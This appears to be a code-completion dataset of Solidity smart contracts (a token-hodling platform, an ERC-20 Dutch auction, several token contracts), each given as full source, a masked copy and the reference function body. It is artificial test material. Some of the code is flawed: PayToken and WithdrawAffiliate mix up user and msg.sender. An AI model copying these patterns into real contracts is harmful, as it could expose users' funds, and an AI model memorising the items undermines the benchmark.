eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = s.amountbalance; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now){ //--o Hold Complete uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance); Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount); s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now; PayToken(s.user, s.tokenAddress, amounttransfer); if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) { s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88); } else { s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72); } s.cashbackbalance = 0; emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { UnlockToken3(ERC, s.id); }
function UnlockToken2(address ERC, uint256 id) private
//--o 01 function UnlockToken2(address ERC, uint256 id) private
14968
AuctionBase
_currentPrice
contract AuctionBase { // Represents an auction on an FT (ERC-20) struct Auction { // Current owner of FT (ERC-20) address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; // Token Quantity uint256 tokenQuantity; // Token Address address tokenAddress; // Auction number of this auction wrt tokenAddress uint256 auctionNumber; } /// ERC-20 Auction Contract Address address public cryptiblesAuctionContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut = 375; // Map to keep a track on number of auctions by an owner mapping (address => uint256) auctionCounter; // Map from token,owner to their corresponding auction. mapping (address => mapping (uint256 => Auction)) tokensAuction; event AuctionCreated(address tokenAddress, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 quantity, uint256 auctionNumber, uint64 startedAt); event AuctionWinner(address tokenAddress, uint256 totalPrice, address winner, uint256 quantity, uint256 auctionNumber); event AuctionCancelled(address tokenAddress, address sellerAddress, uint256 auctionNumber, uint256 quantity); event EtherWithdrawed(uint256 value); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _totalTokens - Check total tokens being put on auction against user balance function _owns(address _tokenAddress, address _claimant, uint256 _totalTokens) internal view returns (bool) { StandardToken tokenContract = StandardToken(_tokenAddress); return (tokenContract.balanceOf(_claimant) >= _totalTokens); } /// @dev Escrows the ERC-20 Token, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _totalTokens - Number of tokens (ERC-20) to function _escrow(address _tokenAddress, address _owner, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transferFrom(_owner, this, _totalTokens); } /// @dev Transfers an Erc-20 Token owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer ERC-20 Token to. /// @param _totalTokens - Tokens to transfer function _transfer(address _tokenAddress, address _receiver, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transfer(_receiver, _totalTokens); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenAddress The address of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(address _tokenAddress, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. require(_auction.duration >= 1 minutes); AuctionCreated( _tokenAddress, uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), uint256(_auction.tokenQuantity), uint256(_auction.auctionNumber), uint64(_auction.startedAt) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(address _tokenAddress, uint256 _auctionNumber) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; address seller = auction.seller; uint256 tokenQuantity = auction.tokenQuantity; _removeAuction(_tokenAddress, _auctionNumber); _transfer(_tokenAddress, seller, tokenQuantity); AuctionCancelled(_tokenAddress, seller, _auctionNumber, tokenQuantity); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(address _tokenAddress, uint256 _auctionNumber, uint256 _bidAmount) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenAddress will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; uint256 quantity = auction.tokenQuantity; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenAddress, _auctionNumber); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionWinner(_tokenAddress, price, msg.sender, quantity, _auctionNumber); } /// @dev Removes an auction from the list of open auctions. /// @param _tokenAddress - Address of FT (ERC-20) on auction. /// @param _auctionNumber - Auction Number corresponding the auction bidding on function _removeAuction(address _tokenAddress, uint256 _auctionNumber) internal { delete tokensAuction[_tokenAddress][_auctionNumber]; } /// @dev Returns true if the FT (ERC-20) is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an FT (ERC-20) on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) {<FILL_FUNCTION_BODY> } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(address _tokenAddress, address _approved, uint256 _tokenQuantity) internal { StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.approve(_approved, _tokenQuantity); } }
contract AuctionBase { // Represents an auction on an FT (ERC-20) struct Auction { // Current owner of FT (ERC-20) address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; // Token Quantity uint256 tokenQuantity; // Token Address address tokenAddress; // Auction number of this auction wrt tokenAddress uint256 auctionNumber; } /// ERC-20 Auction Contract Address address public cryptiblesAuctionContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut = 375; // Map to keep a track on number of auctions by an owner mapping (address => uint256) auctionCounter; // Map from token,owner to their corresponding auction. mapping (address => mapping (uint256 => Auction)) tokensAuction; event AuctionCreated(address tokenAddress, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 quantity, uint256 auctionNumber, uint64 startedAt); event AuctionWinner(address tokenAddress, uint256 totalPrice, address winner, uint256 quantity, uint256 auctionNumber); event AuctionCancelled(address tokenAddress, address sellerAddress, uint256 auctionNumber, uint256 quantity); event EtherWithdrawed(uint256 value); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _totalTokens - Check total tokens being put on auction against user balance function _owns(address _tokenAddress, address _claimant, uint256 _totalTokens) internal view returns (bool) { StandardToken tokenContract = StandardToken(_tokenAddress); return (tokenContract.balanceOf(_claimant) >= _totalTokens); } /// @dev Escrows the ERC-20 Token, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _totalTokens - Number of tokens (ERC-20) to function _escrow(address _tokenAddress, address _owner, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transferFrom(_owner, this, _totalTokens); } /// @dev Transfers an Erc-20 Token owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer ERC-20 Token to. /// @param _totalTokens - Tokens to transfer function _transfer(address _tokenAddress, address _receiver, uint256 _totalTokens) internal { // it will throw if transfer fails StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.transfer(_receiver, _totalTokens); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenAddress The address of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(address _tokenAddress, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. require(_auction.duration >= 1 minutes); AuctionCreated( _tokenAddress, uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), uint256(_auction.tokenQuantity), uint256(_auction.auctionNumber), uint64(_auction.startedAt) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(address _tokenAddress, uint256 _auctionNumber) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; address seller = auction.seller; uint256 tokenQuantity = auction.tokenQuantity; _removeAuction(_tokenAddress, _auctionNumber); _transfer(_tokenAddress, seller, tokenQuantity); AuctionCancelled(_tokenAddress, seller, _auctionNumber, tokenQuantity); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(address _tokenAddress, uint256 _auctionNumber, uint256 _bidAmount) internal { // Get a reference to the auction struct Auction storage auction = tokensAuction[_tokenAddress][_auctionNumber]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenAddress will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; uint256 quantity = auction.tokenQuantity; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenAddress, _auctionNumber); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint256 bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionWinner(_tokenAddress, price, msg.sender, quantity, _auctionNumber); } /// @dev Removes an auction from the list of open auctions. /// @param _tokenAddress - Address of FT (ERC-20) on auction. /// @param _auctionNumber - Auction Number corresponding the auction bidding on function _removeAuction(address _tokenAddress, uint256 _auctionNumber) internal { delete tokensAuction[_tokenAddress][_auctionNumber]; } /// @dev Returns true if the FT (ERC-20) is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } <FILL_FUNCTION> /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(address _tokenAddress, address _approved, uint256 _tokenQuantity) internal { StandardToken tokenContract = StandardToken(_tokenAddress); tokenContract.approve(_approved, _tokenQuantity); } }
uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed );
function _currentPrice(Auction storage _auction) internal view returns (uint256)
/// @dev Returns current price of an FT (ERC-20) on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256)
5443
DYXToken
null
contract DYXToken is StandardToken { string public name; string public symbol; uint8 public decimals; constructor() public {<FILL_FUNCTION_BODY> } }
contract DYXToken is StandardToken { string public name; string public symbol; uint8 public decimals; <FILL_FUNCTION> }
name = "DYXToken"; symbol = "DYX"; decimals = 8; totalSupply_ = 10000000000000000000; balances[0xB60f1adC02c29d3e92BED071D3B8533ad85a5fc8] = totalSupply_; emit Transfer(address(0), 0xB60f1adC02c29d3e92BED071D3B8533ad85a5fc8, totalSupply_);
constructor() public
constructor() public
27407
Owner
ownerOn
contract Owner { // Token Name string public name = "FoodCoin"; // Token Symbol string public symbol = "FOOD"; // Decimals uint256 public decimals = 8; // Version string public version = "v1"; // Emission Address address public emissionAddress = address(0); // Withdraw address address public withdrawAddress = address(0); // Owners Addresses mapping ( address => bool ) public ownerAddressMap; // Owner Address/Number mapping ( address => uint256 ) public ownerAddressNumberMap; // Owners List mapping ( uint256 => address ) public ownerListMap; // Amount of owners uint256 public ownerCountInt = 0; // Modifier - Owner modifier isOwner { require( ownerAddressMap[msg.sender]==true ); _; } // Owner Creation/Activation function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal) {<FILL_FUNCTION_BODY> } // Owner disabled function ownerOff( address _offOwnerAddress ) external isOwner returns (bool retrnVal) { // If owner exist and he is not 0 and active // 0 owner can`t be off if ( ownerAddressNumberMap[ _offOwnerAddress ]>0 && ownerAddressMap[ _offOwnerAddress ] ) { ownerAddressMap[ _offOwnerAddress ] = false; retrnVal = true; } else { retrnVal = false; } } // Token name changing function function contractNameUpdate( string _newName, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { name = _newName; retrnVal = true; } else { retrnVal = false; } } // Token symbol changing function function contractSymbolUpdate( string _newSymbol, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { symbol = _newSymbol; retrnVal = true; } else { retrnVal = false; } } // Token decimals changing function function contractDecimalsUpdate( uint256 _newDecimals, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation && _newDecimals != decimals ) { decimals = _newDecimals; retrnVal = true; } else { retrnVal = false; } } // New token emission address setting up function emissionAddressUpdate( address _newEmissionAddress ) external isOwner { emissionAddress = _newEmissionAddress; } // New token withdrawing address setting up function withdrawAddressUpdate( address _newWithdrawAddress ) external isOwner { withdrawAddress = _newWithdrawAddress; } // Constructor adds owner to undeletable list function Owner() public { // Owner creation ownerAddressMap[ msg.sender ] = true; ownerAddressNumberMap[ msg.sender ] = ownerCountInt; ownerListMap[ ownerCountInt ] = msg.sender; ownerCountInt++; } }
contract Owner { // Token Name string public name = "FoodCoin"; // Token Symbol string public symbol = "FOOD"; // Decimals uint256 public decimals = 8; // Version string public version = "v1"; // Emission Address address public emissionAddress = address(0); // Withdraw address address public withdrawAddress = address(0); // Owners Addresses mapping ( address => bool ) public ownerAddressMap; // Owner Address/Number mapping ( address => uint256 ) public ownerAddressNumberMap; // Owners List mapping ( uint256 => address ) public ownerListMap; // Amount of owners uint256 public ownerCountInt = 0; // Modifier - Owner modifier isOwner { require( ownerAddressMap[msg.sender]==true ); _; } <FILL_FUNCTION> // Owner disabled function ownerOff( address _offOwnerAddress ) external isOwner returns (bool retrnVal) { // If owner exist and he is not 0 and active // 0 owner can`t be off if ( ownerAddressNumberMap[ _offOwnerAddress ]>0 && ownerAddressMap[ _offOwnerAddress ] ) { ownerAddressMap[ _offOwnerAddress ] = false; retrnVal = true; } else { retrnVal = false; } } // Token name changing function function contractNameUpdate( string _newName, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { name = _newName; retrnVal = true; } else { retrnVal = false; } } // Token symbol changing function function contractSymbolUpdate( string _newSymbol, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation ) { symbol = _newSymbol; retrnVal = true; } else { retrnVal = false; } } // Token decimals changing function function contractDecimalsUpdate( uint256 _newDecimals, bool updateConfirmation ) external isOwner returns (bool retrnVal) { if ( updateConfirmation && _newDecimals != decimals ) { decimals = _newDecimals; retrnVal = true; } else { retrnVal = false; } } // New token emission address setting up function emissionAddressUpdate( address _newEmissionAddress ) external isOwner { emissionAddress = _newEmissionAddress; } // New token withdrawing address setting up function withdrawAddressUpdate( address _newWithdrawAddress ) external isOwner { withdrawAddress = _newWithdrawAddress; } // Constructor adds owner to undeletable list function Owner() public { // Owner creation ownerAddressMap[ msg.sender ] = true; ownerAddressNumberMap[ msg.sender ] = ownerCountInt; ownerListMap[ ownerCountInt ] = msg.sender; ownerCountInt++; } }
// Check if it's a non-zero address require( _onOwnerAddress != address(0) ); // If the owner is already exist if ( ownerAddressNumberMap[ _onOwnerAddress ]>0 ) { // If the owner is disablead, activate him again if ( !ownerAddressMap[ _onOwnerAddress ] ) { ownerAddressMap[ _onOwnerAddress ] = true; retrnVal = true; } else { retrnVal = false; } } // If the owner is not exist else { ownerAddressMap[ _onOwnerAddress ] = true; ownerAddressNumberMap[ _onOwnerAddress ] = ownerCountInt; ownerListMap[ ownerCountInt ] = _onOwnerAddress; ownerCountInt++; retrnVal = true; }
function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal)
// Owner Creation/Activation function ownerOn( address _onOwnerAddress ) external isOwner returns (bool retrnVal)
8141
INSPECTORCRYPTO
restoreAllFee
contract INSPECTORCRYPTO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => uint256) private _lastTX; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private _totalSupply = 1000000000 * 10**18; uint256 public _totalBurned; string private _name = "Inspector Crypto"; string private _symbol = "GADGET"; uint8 private _decimals = 18; address payable private _inspectorCrypto; address payable private _brain; uint256 public firstLiveBlock; uint256 public _wowsers = 4; uint256 public _goGoGadget = 9; uint256 private _previousWowsers = _wowsers; uint256 private _previousGoGadget = _goGoGadget; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount; uint256 public _maxHoldings = 50000000 * 10**18; //5% bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; bool public savePenny = true; bool public cooldown = true; uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _balance[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _totalSupply); _inspectorCrypto = 0xd590BbD89fcfd49475EA0A56c1E0babFe2129581; _brain = 0x2A486038A11Af98A98Fc6B054b517cBC6B4328eA; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function 